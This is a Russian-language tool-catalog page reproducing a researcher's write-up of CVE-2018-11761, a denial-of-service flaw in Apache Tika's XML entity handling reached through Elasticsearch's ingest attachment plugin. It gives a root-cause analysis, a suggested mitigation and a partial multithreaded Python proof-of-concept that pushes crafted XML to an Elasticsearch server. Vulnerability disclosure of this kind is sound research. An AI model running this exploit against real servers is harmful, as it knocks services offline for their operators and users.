Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-11761 — Уязвимость типа «отказ в обслуживании» Apache Tika (CVE-2018-11761) | Kitploit
Инструменты/GitHubGitHub/brianwrf/cve-2018-11761
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubbrianwrf/cve-2018-11761

CVE-2018-11761

Уязвимость типа «отказ в обслуживании» Apache Tika (CVE-2018-11761)

Репозиторий
9137 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Краткое описание

В недавнем исследовании Apache Tika я обнаружил уязвимость типа «отказ в обслуживании» (DoS) в его XML-парсере. Она вызвана некорректным разбором XML-документов парсером.

Затронутые версии

  • Протестировано на ElasticSearch 6.3.1 (использующий Tika 1.18) и 6.2.3 (использующий Tika 1.17)

Анализ

Как известно, основной плагин ingest attachment позволяет Elasticsearch извлекать вложения файлов в распространённых форматах (таких как PPT, XLS и PDF) с помощью библиотеки извлечения текста Apache Tika. Итак, давайте взглянем на исходный код плагина ingest attachment.```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };

На самом деле, плагин использует [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) в качестве парсера для извлечения содержимого из XML-файла. При дальнейшем исследовании мы видим следующие вызовы:
*  `DcXMLParser()` расширяет [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)
* `XMLParser` использует [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) для разбора XML-документов
* `XMLReaderUtils.parseSAX` вызывает [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163)```java
public static SAXParserFactory getSAXParserFactory() {
    SAXParserFactory factory = SAXParserFactory.newInstance();
    factory.setNamespaceAware(true);
    factory.setValidating(false);
    try {
        factory.setFeature(
                XMLConstants.FEATURE_SECURE_PROCESSING, true);
    } catch (ParserConfigurationException e) {
    } catch (SAXNotSupportedException e) {
    } catch (SAXNotRecognizedException e) {
        // TIKA-271: Some XML parsers do not support the
        // secure-processing feature, even though it's required by
        // JAXP in Java 5. Ignoring the exception is fine here, as
        // deployments without this feature are inherently vulnerable
        // to XML denial-of-service attacks.
    }

    return factory;
}

В функции выше мы видим очень ограниченные ограничения безопасности для объекта SAXParserFactory.newInstance():```Java factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

Согласно объяснению Oracle, когда [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) включен, это предписывает реализации обрабатывать XML безопасно. Это может устанавливать ограничения на XML-конструкции, чтобы избежать таких условий, как атаки типа «отказ в обслуживании».

Но на самом деле это не может полностью предотвратить [XML Entity Expansion](http://www.ws-attacks.org/XML_Entity_Expansion) (расширение сущностей XML). Злоумышленник все еще может отправить специально созданный XML-документ на сервер ES, чтобы выполнить DoS-атаку через уязвимость расширения сущностей XML, как упоминалось в разделе `Proof of Concept`. Я проверил исходный код Apache Tika: они включают только функцию `XMLConstants.FEATURE_SECURE_PROCESSING`, которая, как они могли полагать, защищает от этого типа атак согласно [этой статье](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html), поскольку она по умолчанию ограничивает количество расширений сущностей до 64 000. Но на самом деле мы все еще можем использовать эти 64 000 расширений сущностей для создания усиливающего XML-объекта в памяти, например, размер файла `ES_XML.xml` в POC составляет всего около 64 КБ, но после загрузки на сервер Tika на сервере ES Tika придется выделить как минимум 6 МБ памяти (6 МБ / 64 КБ = в 100 раз) для его разбора, что приводит к быстрому росту загрузки ЦП.

Поэтому, насколько я понимаю, одним из возможных исправлений может быть установка следующего системного свойства, что значительно ограничит воздействие в соответствии с [документом Oracle](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html):```
jdk.xml.entityExpansionLimit=1

Подтверждение концепции

Следующая демонстрация протестирована и проверена на ElasticSearch 6.3.31, который использует Tika 1.18:

  • Создайте POC-скрипт и сохраните его как poc_dos_es.py:```Python

Title: ElasticSearch Ingest Attachment Plugin DOS vulnerability

Author: avfisher

Affected version: Tested on ES 6.3.1 and ES 6.2.3 (but all versions could be impacted as well)

Time: 2018-07-23

Example: python poc_dos_es.py 127.0.0.1 9200 ES_XML.xml 5

import requests import sys import base64 import json import threading import sys

headers = {"Content-Type" : "application/json"}

class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1

def create_ingest_att_pipeline(self, url):
    pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
    data = {
        "description" : "Extract attachment information",
        "processors" : [{
            "attachment" : {
                "field" : "data",
                "indexed_chars": "-1"
            }
        }]
    }
    res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
    if res.status_code == 200:
        print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
    else:
        print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))

def send_payload(self, url, payload):
    ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
    data = {
        "data": payload
    }
    res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
    print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))

def verify_mal_doc(self, url):
    ingest_url = "{}/my_index/_doc/1".format(url)
    res = requests.get(ingest_url, headers=headers)
    if res.status_code == 200:
        print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
    else:
        print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))
Скачать инструмент